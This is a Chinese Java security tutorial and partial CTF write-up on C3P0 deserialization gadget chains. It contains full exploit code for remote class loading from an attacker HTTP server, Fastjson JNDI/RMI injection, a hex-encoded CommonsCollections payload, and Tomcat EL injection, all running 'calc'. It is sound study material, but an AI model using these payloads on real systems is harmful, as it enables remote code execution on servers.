Java安全学习——C3P0链

前言

在比赛中碰到了这条链子,之前没接触过,简单学习一下。

组件简介

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。

JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

环境搭建

添加Maven依赖如下

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

Gadget

C3P0常见的利用方式有如下三种

  • URLClassLoader远程类加载
  • JNDI注入
  • 利用HEX序列化字节加载器进行反序列化攻击

URLClassLoader远程类加载

利用链

该利用链最终能进行任意远程类加载

PoolBackedDataSourceBase#readObject ->
ReferenceSerialized#getObject ->
ReferenceableUtils#referenceToObject ->
ObjectFactory#getObjectInstance

利用链分析

漏洞出现在PoolBackedDataSourceBase这个类的readObject中。如果反序列化得到的类是IndirectlySerialized的实例,则会调用其getObject()方法,然后将返回的类转为ConnectionPoolDataSource

	private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException
	{
		short version = ois.readShort();
		switch (version)
		{
			case VERSION:
				// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
				{
					Object o = ois.readObject();
                                        //漏洞触发入口
					if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();
					this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
				}
				this.dataSourceName = (String) ois.readObject();
				// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
				{
					...
		}
	}

在跟进下一步的getObject()方法之前,我们先来看看ConnectionPoolDataSource这个接口

很明显,这个接口并没有继承Serializable接口,因此不能直接被序列化。所以我们上文提到的IndirectlySerialized类可以看作是ConnectionPoolDataSource的包装类。

那么ConnectionPoolDataSource是如何被包装的呢?我们可以在序列化入口PoolBackedDataSourceBase#writeObject方法中看到序列化时包装ConnectionPoolDataSource类的具体流程

private void writeObject( ObjectOutputStream oos ) throws IOException
	{
		oos.writeShort( VERSION );
		try
		{
			//test serialize
			SerializableUtils.toByteArray(connectionPoolDataSource);
			oos.writeObject( connectionPoolDataSource );
		}
		catch (NotSerializableException nse)
		{
			com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse);
			try
			{
				Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
				oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) );
			}
			...
	}

首先尝试序列化ConnectionPoolDataSource类,失败则调用

ReferenceIndirector.indirectForm(connectionPoolDataSource)对其进行包装

public IndirectlySerialized indirectForm( Object orig ) throws Exception
    { 
	Reference ref = ((Referenceable) orig).getReference();
	return new ReferenceSerialized( ref, name, contextName, environmentProperties );
    }

最终会返回一个ReferenceSerialized

所以ConnectionPoolDataSource类经过序列化后,得到的最终是ReferenceSerialized类,因此在PoolBackedDataSourceBase#readObject中调用的其实是ReferenceSerialized#getObject()方法

	public Object getObject() throws ClassNotFoundException, IOException
	{
	    try
		{
		    Context initialContext;
		    if ( env == null )
			initialContext = new InitialContext();
		    else
			initialContext = new InitialContext( env );

		    Context nameContext = null;
		    if ( contextName != null )
			nameContext = (Context) initialContext.lookup( contextName );

		    return ReferenceableUtils.referenceToObject( reference, name, nameContext, env ); 
		}
	    catch (NamingException e)
		{
		    //e.printStackTrace();
		    if ( logger.isLoggable( MLevel.WARNING ) )
			logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
		    throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
		}
	}

由于C3P0支持JNDI绑定,因此这里出现了initialContext.lookup方法。但实际上在反序列化时我们是无法调用到该方法的,因为属性contextName为默认null且不可控。

那我们接分析下面的ReferenceableUtils.referenceToObject()方法

    public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)
	throws NamingException
    {
	try
	    {
		String fClassName = ref.getFactoryClassName();
		String fClassLocation = ref.getFactoryClassLocation();

		ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader();
		if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader();
		
		ClassLoader cl;
		if ( fClassLocation == null )
		    cl = defaultClassLoader;
		else
		    {
			URL u = new URL( fClassLocation );
			cl = new URLClassLoader( new URL[] { u }, defaultClassLoader );
		    }
		
		Class fClass = Class.forName( fClassName, true, cl );
		ObjectFactory of = (ObjectFactory) fClass.newInstance();
		return of.getObjectInstance( ref, name, nameCtx, env );
	    }
	catch ( Exception e )
	    {
		if (Debug.DEBUG) 
		    {
			//e.printStackTrace();
			if ( logger.isLoggable( MLevel.FINE ) )
			    logger.log( MLevel.FINE, "Could not resolve Reference to Object!", e);
		    }
		NamingException ne = new NamingException("Could not resolve Reference to Object!");
		ne.setRootCause( e );
		throw ne;
	    }
    }

很明显,该方法是用来进行类加载的。如果设置了一个远程工厂类地址fClassLocation,则会使用URLClassLoader进行远程类加载。

利用链构造

首先我们构造一个包含远程恶意类的ConnectionPoolDataSource

package C3P0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0_URLClassLoader {

    public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("ExpClass","exp","http://127.0.0.1:8888/");
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }

    //序列化
    public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
        //反射修改connectionPoolDataSource属性值为我们的恶意ConnectionPoolDataSource类
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        Class cls = poolBackedDataSourceBase.getClass();
        Field field = cls.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(poolBackedDataSourceBase,c);

        //序列化流写入文件
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(poolBackedDataSourceBase);

    }

    //反序列化
    public static void Pool_Deserial() throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(new File("exp.bin"));
        ObjectInputStream objectInputStream = new ObjectInputStream(fis);
        objectInputStream.readObject();
    }

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        EXP_Loader exp_loader = new EXP_Loader();
        Pool_Serial(exp_loader);
        Pool_Deserial();
    }

}

然后将远程恶意类放置到服务器上

import java.io.IOException;

public class exp {
    public exp() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

JNDI注入

这条链子依赖于Fastjson或Jackson反序列化漏洞。

利用链

#修改jndiName
JndiRefConnectionPoolDataSource#setJndiName ->
JndiRefForwardingDataSource#setJndiName

#JNDI调用
JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup

利用链分析

漏洞点位于JndiRefConnectionPoolDataSource类中,该类中存在许多setter和getter。其中可以通过setJndiName方法给属性jndiName赋值。

JndiRefForwardingDataSource     jrfds;
...

public void setJndiName( Object jndiName ) throws PropertyVetoException
{ jrfds.setJndiName( jndiName ); }
...

public void setJndiName( Object jndiName ) throws PropertyVetoException
	{
		Object oldVal = this.jndiName;
		if ( ! eqOrBothNull( oldVal, jndiName ) )
			vcs.fireVetoableChange( "jndiName", oldVal, jndiName );
		this.jndiName = (jndiName instanceof Name ? ((Name) jndiName).clone() : jndiName /* String */);
		if ( ! eqOrBothNull( oldVal, jndiName ) )
			pcs.firePropertyChange( "jndiName", oldVal, jndiName );
	}

另外,在JndiRefConnectionPoolDataSource#setLoginTimeout中,会调用WrapperConnectionPoolDataSource的同名方法

    public void setLoginTimeout(int seconds)
	throws SQLException
    { getNestedDataSource().setLoginTimeout( seconds ); }

这里getNestedDataSource()方法获取nestedDataSource属性值,通过调试可以知道该值是JndiRefForwardingDataSource类,因此这里调用的最终是JndiRefForwardingDataSource#setLoginTimeout

    //JndiRefForwardingDataSource#setLoginTimeout

    public void setLoginTimeout(int seconds) throws SQLException
    { inner().setLoginTimeout( seconds ); }

跟进inner()方法

    private synchronized DataSource inner() throws SQLException
    {
	if (cachedInner != null)
	    return cachedInner;
	else
	    {
		DataSource out = dereference();
		if (this.isCaching())
		    cachedInner = out;
		return out;
	    }
    }

调用了dereference()方法,最终在该方法中触发lookup方法

    //MT: called only from inner(), effectively synchrtonized
    private DataSource dereference() throws SQLException
    {
	Object jndiName = this.getJndiName();
	Hashtable jndiEnv = this.getJndiEnv();
	try
	    {
		InitialContext ctx;
		if (jndiEnv != null)
		    ctx = new InitialContext( jndiEnv );
		else
		    ctx = new InitialContext();
		if (jndiName instanceof String)
                    //JNDI利用点
		    return (DataSource) ctx.lookup( (String) jndiName );
		else if (jndiName instanceof Name)
		    return (DataSource) ctx.lookup( (Name) jndiName );
		else
		    throw new SQLException("Could not find ConnectionPoolDataSource with " +
					   "JNDI name: " + jndiName);
	    }
	catch( NamingException e )
	    {
		//e.printStackTrace();
		if ( logger.isLoggable( MLevel.WARNING ) )
		    logger.log( MLevel.WARNING, "An Exception occurred while trying to look up a target DataSource via JNDI!", e );
		throw SqlUtils.toSQLException( e ); 
	    }
    }

利用链构造

在Fastjson漏洞环境下

import com.alibaba.fastjson.JSON;

import java.sql.SQLException;

public class C3P0 {
    public static void main(String[] args) throws SQLException {
        String payload = "{" +
                "\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
                "\"JndiName\":\"rmi://127.0.0.1:1099/hello\", " +
                "\"LoginTimeout\":0" +
                "}";
        JSON.parse(payload);
    }
}

恶意RMI服务器

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMI_Server_Reference {


    void register() throws Exception{
        LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("RMIHello","RMIHello","http://127.0.0.1:8888/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
        Naming.bind("rmi://127.0.0.1:1099/hello",refObjWrapper);
        System.out.println("Registry运行中......");
    }

    public static void main(String[] args) throws Exception {
        new RMI_Server_Reference().register();
    }
}

既然是JNDI注入,那么同样会受到JDK版本的限制。这里我使用的JDK版本为JDK8u65。高版本的JDK及Fastjson的情况可以通过加载本地类进行攻击,参考我以前的文章Java安全学习——JNDI注入

利用HEX序列化字节加载器进行反序列化攻击

该利用链能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件。

利用链

#设置userOverridesAsString属性值
WrapperConnectionPoolDataSource#setuserOverridesAsString ->
WrapperConnectionPoolDataSourceBase#setUserOverridesAsString

#初始化类时反序列化十六进制字节流
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->
C3P0ImplUtils#parseUserOverridesAsString ->
SerializableUtils#fromByteArray ->
SerializableUtils#deserializeFromByteArray ->
ObjectInputStream#readObject

利用链分析

WrapperConnectionPoolDataSource类的构造函数中,我们看属性userOverrides是如何被赋值的

 public WrapperConnectionPoolDataSource(boolean autoregister)
    {
	super( autoregister );

	setUpPropertyListeners();

	//set up initial value of userOverrides
	try
	    { this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( this.getUserOverridesAsString() ); }
	catch (Exception e)
	    {
		if ( logger.isLoggable( MLevel.WARNING ) )
		    logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + this.getUserOverridesAsString(), e );
	    }
    }

调用了C3P0ImplUtils#parseUserOverridesAsString方法,参数为userOverridesAsString属性。跟进看一下

    public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
    { 
	if (userOverridesAsString != null)
	    {
		String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
		byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
		return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
	    }
	else
	    return Collections.EMPTY_MAP;
    }

从函数名及返回值来看,该函数能够将一串十六进制字符解析成一个Map类。首先将十六进制转换成字节数组,然后调用SerializableUtils#fromByteArray方法解析字节数组。值得注意的是,在解析过程中调用了substring()方法将字符串头部的HASM_HEADER截去了,因此我们在构造时需要在十六进制字符串头部加上HASM_HEADER,并且会截去字符串最后一位,所以需要在结尾加上一个;

    public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
    { 
	Object out = deserializeFromByteArray( bytes ); 
	if (out instanceof IndirectlySerialized)
	    return ((IndirectlySerialized) out).getObject();
	else
	    return out;
    }

...

    public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
    {
	ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
	return in.readObject();
    }

最终调用到readObject()方法进行反序列化

利用链构造

import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class C3P0_Hex {

    //CC6的利用链
    public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
        //使用InvokeTransformer包装一下
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap1=new HashMap<>();
        LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"abc");
        HashMap<Object,Object> hashMap2=new HashMap<>();
        hashMap2.put(tiedMapEntry,"eee");
        lazyMap.remove("abc");


        //反射修改LazyMap类的factory属性
        Class clazz=LazyMap.class;
        Field factoryField= clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        return hashMap2;
    }


    static void addHexAscii(byte b, StringWriter sw)
    {
        int ub = b & 0xff;
        int h1 = ub / 16;
        int h2 = ub % 16;
        sw.write(toHexDigit(h1));
        sw.write(toHexDigit(h2));
    }

    private static char toHexDigit(int h)
    {
        char out;
        if (h <= 9) out = (char) (h + 0x30);
        else out = (char) (h + 0x37);
        //System.err.println(h + ": " + out);
        return out;
    }

    //将类序列化为字节数组
    public static byte[] tobyteArray(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }

    //字节数组转十六进制
    public static String toHexAscii(byte[] bytes)
    {
        int len = bytes.length;
        StringWriter sw = new StringWriter(len * 2);
        for (int i = 0; i < len; ++i)
            addHexAscii(bytes[i], sw);
        return sw.toString();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
        String hex = toHexAscii(tobyteArray(CC6()));
        System.out.println(hex);

        //Fastjson<1.2.47
        String payload = "{" +
                "\"1\":{" +
                "\"@type\":\"java.lang.Class\"," +
                "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
                "}," +
                "\"2\":{" +
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
                "}" +
                "}";
        JSON.parse(payload);


    }
}

在低版本Fastjson的情况下,实际上也可以使用下面的Payload

String payload = "{" +
        "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
        "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
        "}";

这里WrapperConnectionPoolDataSource类只初始化了一次,为什么仍然能进行反序列化操作呢?答案在WrapperConnectionPoolDataSourceBase#setUserOverridesAsString中。

实际上Fastjson初始化WrapperConnectionPoolDataSource类时,userOverridesAsString属性是空的,要想进行反序列化操作,必须先给其赋值。理论上来说,要想解析userOverridesAsString属性,至少需要调用两次构造函数。

WrapperConnectionPoolDataSourceBase#setUserOverridesAsString

当我们调用该setter时,首先会与旧的userOverridesAsString属性比较,这里旧值为null,新值为我们构造的userOverridesAsString,因此这里会进入if判断。跟进vcs.fireVetoableChange,最终到WrapperConnectionPoolDataSource#vetoableChange。注意这里传入的propertyName参数值为userOverridesAsString

public void vetoableChange(PropertyChangeEvent evt ) throws PropertyVetoException
{
    String propName = evt.getPropertyName();
    Object val = evt.getNewValue();

    if ( "connectionTesterClassName".equals( propName ) )
    {
        try
        { recreateConnectionTester( (String) val ); }
        catch ( Exception e )
        {
            //e.printStackTrace();
            if ( logger.isLoggable( MLevel.WARNING ) )
                logger.log( MLevel.WARNING, "Failed to create ConnectionTester of class " + val, e );

            throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
        }
    }
    //此处进行解析
    else if ("userOverridesAsString".equals( propName ))
    {
        try
        { WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( (String) val ); }
        catch (Exception e)
        {
            if ( logger.isLoggable( MLevel.WARNING ) )
                logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, e );

            throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
        }
    }
}

如果propName变量为userOverridesAsString,则会直接反序列化传入的十六进制字符串并将返回的对象赋值给userOverrides属性。C3P0通过这种方式,在set完userOverridesAsString属性后直接对其进行解析,减少了一次类初始化操作。

因此在实际利用的时候,我们只需要调用一次setUserOverridesAsString函数即可,C3P0后续会自动解析传入的十六进制字符串。

C3P0不出网利用

不论是URLClassLoader加载远程类,还是JNDI注入,都需要目标机器能够出网。而加载Hex字符串的方式虽然不用出网,但却有Fastjson等的相关依赖。那么如果目标机器不出网,又没有Fastjson依赖的话,C3P0链又该如何利用呢?

在JNDI高版本利用中,我们可以加载本地的Factory类进行攻击,而利用条件之一就是该工厂类至少存在一个getObjectInstance()方法。比如通过加载Tomcat8中的org.apache.naming.factory.BeanFactory进行EL表达式注入

我们再回头看C3P0中利用URLClassLoader进行任意类加载的攻击方式

在实例化完我们的恶意类之后,调用了恶意类ObjectFactory.getObjectInstance()。由于可以实例化任意类,所以我们可以将该类设置为本地的BeanFactory类。在不出网的条件下可以进行EL表达式注入,利用方式类似JNDI的高版本绕过。当然了,这种利用方式需要存在Tomcat8相关依赖环境

利用链构造

由于BeanFactory中需要ReferenceResourceRef类,因此在getReference()中我们实例化ResourceRef类,剩下的构造就和高版本JNDI类似了

package C3P0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0_Tomcat8 {

    public static class Tomcat8_Loader implements ConnectionPoolDataSource, Referenceable {

        @Override
        public Reference getReference() throws NamingException {
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
            resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
            return resourceRef;
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }

    //序列化
    public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
        //反射修改connectionPoolDataSource属性值
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        Class cls = poolBackedDataSourceBase.getClass();
        Field field = cls.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(poolBackedDataSourceBase,c);

        //序列化流写入文件
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(poolBackedDataSourceBase);

    }

    //反序列化
    public static void Pool_Deserial() throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(new File("exp.bin"));
        ObjectInputStream objectInputStream = new ObjectInputStream(fis);
        objectInputStream.readObject();
    }

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        Tomcat8_Loader tomcat8_loader = new Tomcat8_Loader();
        Pool_Serial(tomcat8_loader);
        Pool_Deserial();
    }
}

注意,由于Tomcat8的EL依赖可能不完整,利用的时候可能会失败,最好依赖下面两个包

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-el</artifactId>
    <version>8.5.15</version>
</dependency>

例题复现

Dest0g3 520迎新赛——ljctr

这道题目的作者给出的WP已经很详尽了,不过我还是觉得有必要复现一下。

源码分析

题目给了源码,DemoApplication.jar和waf.jar以及一个Dockerfile

From openjdk:8u212-slim

RUN apt-get update -y \
    && apt-get install curl -y \
    && useradd ctf \
    && mkdir /opt/app
	
COPY ./conf/src/DemoApplication.jar /opt/app
COPY ./conf/src/waf.jar /opt/app
COPY ./conf/start.sh /
COPY ./conf/flag /

RUN chmod +x /start.sh
	
WORKDIR /opt/app

USER ctf
CMD ["sh", "-c", "/start.sh"]
EXPOSE 8080

我们先看一下DemoApplication

很明显是一个Springboot应用,先看一下Controller

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.demo.controllers;

import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import java.util.Base64.Decoder;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
    public IndexController() {
    }

    @ResponseBody
    @RequestMapping({"/"})
    public String index() {
        return "welcome join us.\n it is very easy!";
    }

    @ResponseBody
    @RequestMapping({"/ctf"})
    public String readObject(@RequestParam(name = "data",required = true) String data) throws Exception {
        byte[] bytes = base64Decode(data);
        Pattern pattern = Pattern.compile("ldap", 2);
        Matcher matcher = pattern.matcher(new String(bytes));
        if (matcher.find()) {
            return "don not like ldap";
        } else {
            InputStream inputStream = new ByteArrayInputStream(bytes);
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            return "oops!";
        }
    }

    public static byte[] base64Decode(String base64) {
        Decoder decoder = Base64.getDecoder();
        return decoder.decode(base64);
    }
}

/ctf路由能够反序列化Base64字符串,同时正则过滤掉了ldap关键字。我们看一下lib下的依赖

c3p0-0.9.5.5.jar
jackson-annotations-2.13.0.jar
jackson-core-2.13.0.jar
jackson-databind-2.13.0.jar
jackson-datatype-jdk8-2.13.0.jar
jackson-datatype-jsr310-2.13.0.jar
jackson-module-parameter-names-2.13.0.jar
jakarta.annotation-api-1.3.5.jar
jul-to-slf4j-1.7.32.jar
log4j-api-2.14.1.jar
log4j-to-slf4j-2.14.1.jar
logback-classic-1.2.7.jar
logback-core-1.2.7.jar
mchange-commons-java-0.2.19.jar
slf4j-api-1.7.32.jar
snakeyaml-1.29.jar
spring-aop-5.3.13.jar
spring-beans-5.3.13.jar
spring-boot-2.6.1.jar
spring-boot-autoconfigure-2.6.1.jar
spring-boot-jarmode-layertools-2.6.1.jar
spring-context-5.3.13.jar
spring-core-5.3.13.jar
spring-expression-5.3.13.jar
spring-jcl-5.3.13.jar
spring-web-5.3.13.jar
spring-webmvc-5.3.13.jar
tomcat-embed-core-9.0.55.jar
tomcat-embed-el-9.0.55.jar
tomcat-embed-websocket-9.0.55.jar

比较显眼的有c3p0-0.9.5.5.jarsnakeyaml-1.29.jartomcat-embed-el-9.0.55.jar。很明显这里是打C3P0这条链子。常规思路有好几种利用方式,但是题目还配置了waf.jar,我们来看一下

有一个AgentDemo,关于JavaAgent可以参考我以前这篇文章

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.io.File;
import java.io.UnsupportedEncodingException;
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.net.URLDecoder;
import java.security.ProtectionDomain;
import java.util.List;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;

public class AgentDemo {
    public AgentDemo() {
    }

    public static void main(String[] args) throws Throwable {
        Class.forName("sun.tools.attach.HotSpotAttachProvider");
        List<VirtualMachineDescriptor> vms = VirtualMachine.list();
        String targetPid = null;

        for(int i = 0; i < vms.size(); ++i) {
            VirtualMachineDescriptor vm = (VirtualMachineDescriptor)vms.get(i);
            if (vm.displayName().contains("DemoApplication")) {
                System.out.println(vm.displayName());
                targetPid = vm.id();
                System.out.println(targetPid);
            }
        }

        VirtualMachine virtualMachine = VirtualMachine.attach(targetPid);
        virtualMachine.loadAgent(getJarFileByClass(AgentDemo.class), (String)null);
        virtualMachine.detach();
    }

    public static String getJarFileByClass(Class cs) {
        String fileString = null;
        if (cs != null) {
            String tmpString = cs.getProtectionDomain().getCodeSource().getLocation().getFile();
            if (tmpString.endsWith(".jar")) {
                try {
                    fileString = URLDecoder.decode(tmpString, "utf-8");
                } catch (UnsupportedEncodingException var4) {
                    fileString = URLDecoder.decode(tmpString);
                }
            }
        }

        return (new File(fileString)).toString();
    }

    public static void agentmain(String agentOps, Instrumentation inst) throws Exception {
        simpleDemo0(agentOps, inst);
        simpleDemo1(agentOps, inst);
    }

    public static void simpleDemo0(String agentOps, final Instrumentation inst) throws Exception {
        inst.addTransformer(new ClassFileTransformer() {
            public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
                if ("org/apache/tomcat/util/net/SocketBufferHandler".equals(className)) {
                    try {
                        AgentDemo.el(inst, loader);
                    } catch (Exception var7) {
                        var7.printStackTrace();
                    }
                }

                return null;
            }
        }, true);
    }

    public static void simpleDemo1(String agentOps, final Instrumentation inst) throws Exception {
        inst.addTransformer(new ClassFileTransformer() {
            public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
                if ("org/apache/tomcat/util/net/SocketBufferHandler".equals(className)) {
                    try {
                        AgentDemo.c3p0(inst, loader);
                    } catch (Exception var7) {
                        var7.printStackTrace();
                    }
                }

                return null;
            }
        }, true);
    }

    public static byte[] el(Instrumentation inst, ClassLoader loader) throws Exception {
        Class<?> elProcessorClass = Class.forName("javax.el.ELProcessor", true, loader);
        ClassPool classPool = new ClassPool(true);
        classPool.insertClassPath(new ClassClassPath(elProcessorClass));
        classPool.insertClassPath(new LoaderClassPath(elProcessorClass.getClassLoader()));
        CtClass ctClass = classPool.get(elProcessorClass.getName());
